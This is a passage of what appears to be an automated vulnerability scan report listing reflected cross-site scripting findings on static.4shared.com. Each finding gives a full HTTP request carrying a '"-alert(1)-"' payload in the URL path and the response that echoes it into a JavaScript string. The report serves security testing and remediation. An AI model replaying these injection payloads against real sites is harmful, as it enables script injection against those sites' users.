Set-Cookie: JSESSIONID=B7E590F3655F47E51A63A0676D1F9F48.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:43 GMT
Content-Length: 36189


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/bg14.png69174"-alert(1)-"fe2d06cbac0";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.250. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/facebook/login-button.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a64c"-alert(1)-"ffcb7e388af was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images7a64c"-alert(1)-"ffcb7e388af/facebook/login-button.png HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images7a64c&quot;-alert(1)-&quot;ffcb7e388af/facebook/login-button.png
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=5B2A45DC50C460E287C02F9C2D8C0CA2.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:15 GMT
Content-Length: 36274


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images7a64c"-alert(1)-"ffcb7e388af/facebook/login-button.png";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function f
...[SNIP]...

1.251. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/facebook/login-button.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d708"-alert(1)-"02fd9aad990 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/facebook7d708"-alert(1)-"02fd9aad990/login-button.png HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/facebook7d708&quot;-alert(1)-&quot;02fd9aad990/login-button.png
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=28CE1CB951BF35E4F350801829B3A789.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:21 GMT
Content-Length: 36274


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/facebook7d708"-alert(1)-"02fd9aad990/login-button.png";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback()
...[SNIP]...

1.252. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/facebook/login-button.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9ec6"-alert(1)-"d0a9f28947d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/facebook/login-button.pnge9ec6"-alert(1)-"d0a9f28947d HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/facebook/login-button.pnge9ec6&quot;-alert(1)-&quot;d0a9f28947d
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E747ED2ED4DEE1341BDB3FC96D31DF00.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:27 GMT
Content-Length: 36274


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/facebook/login-button.pnge9ec6"-alert(1)-"d0a9f28947d";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.253. http://static.4shared.com/images/googleW.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/googleW.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 393fb"-alert(1)-"ee3174caf07 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images393fb"-alert(1)-"ee3174caf07/googleW.png HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images393fb&quot;-alert(1)-&quot;ee3174caf07/googleW.png
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=532AA185B4FE1F95997702082EEC4FD9.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:10 GMT
Content-Length: 36193


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images393fb"-alert(1)-"ee3174caf07/googleW.png";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.254. http://static.4shared.com/images/googleW.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/googleW.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 41f6f"-alert(1)-"4a01f65d839 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/googleW.png41f6f"-alert(1)-"4a01f65d839 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/googleW.png41f6f&quot;-alert(1)-&quot;4a01f65d839
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=019E23D2EE91E7EDD888FD32E0B169F3.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:15 GMT
Content-Length: 36204


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/googleW.png41f6f"-alert(1)-"4a01f65d839";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.255. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/close.gif

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44c1c"-alert(1)-"a0a1c09ce47 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images44c1c"-alert(1)-"a0a1c09ce47/icons/16x16/close.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images44c1c&quot;-alert(1)-&quot;a0a1c09ce47/icons/16x16/close.gif
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=6F1B92C331007CBC25069E048B75DF96.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:20 GMT
Content-Length: 36243


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images44c1c"-alert(1)-"a0a1c09ce47/icons/16x16/close.gif";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedb
...[SNIP]...

1.256. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/close.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9db94"-alert(1)-"6dac60dedfd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/icons9db94"-alert(1)-"6dac60dedfd/16x16/close.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/icons9db94&quot;-alert(1)-&quot;6dac60dedfd/16x16/close.gif
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=12E25BC3F676E23105B6E28B2550FFC7.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:26 GMT
Content-Length: 36254


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons9db94"-alert(1)-"6dac60dedfd/16x16/close.gif";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback()
...[SNIP]...

1.257. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/close.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7aec"-alert(1)-"b86c9662edb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/icons/16x16f7aec"-alert(1)-"b86c9662edb/close.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/icons/16x16f7aec&quot;-alert(1)-&quot;b86c9662edb/close.gif
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=EEF65510DB407ACEDFB8FAF9B72454E4.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:31 GMT
Content-Length: 36243


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16f7aec"-alert(1)-"b86c9662edb/close.gif";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.258. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/close.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad02c"-alert(1)-"a953950d00e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/icons/16x16/close.gifad02c"-alert(1)-"a953950d00e HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/icons/16x16/close.gifad02c&quot;-alert(1)-&quot;a953950d00e
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=03A457731FAEC3860D53C42B8811E941.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:37 GMT
Content-Length: 36254


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16/close.gifad02c"-alert(1)-"a953950d00e";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.259. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/stop.gif

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 760a5"-alert(1)-"158d4163382 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images760a5"-alert(1)-"158d4163382/icons/16x16/stop.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images760a5&quot;-alert(1)-&quot;158d4163382/icons/16x16/stop.gif
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=D6DADEDB0265DD419843A49CE2D04781.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:11 GMT
Content-Length: 36249


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images760a5"-alert(1)-"158d4163382/icons/16x16/stop.gif";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedba
...[SNIP]...

1.260. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/stop.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73080"-alert(1)-"bd5e5c0b567 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/icons73080"-alert(1)-"bd5e5c0b567/16x16/stop.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/icons73080&quot;-alert(1)-&quot;bd5e5c0b567/16x16/stop.gif
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=78DFFF9C129B528E44FF3EABA7D2E061.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:17 GMT
Content-Length: 36249


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons73080"-alert(1)-"bd5e5c0b567/16x16/stop.gif";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
...[SNIP]...

1.261. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/stop.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b306f"-alert(1)-"f931fa8a6ff was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/icons/16x16b306f"-alert(1)-"f931fa8a6ff/stop.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/icons/16x16b306f&quot;-alert(1)-&quot;f931fa8a6ff/stop.gif
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C523391335A36A28DA2975087B407E0D.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:23 GMT
Content-Length: 36249


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16b306f"-alert(1)-"f931fa8a6ff/stop.gif";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.262. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/16x16/stop.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 34543"-alert(1)-"e3036abd11 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/icons/16x16/stop.gif34543"-alert(1)-"e3036abd11 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
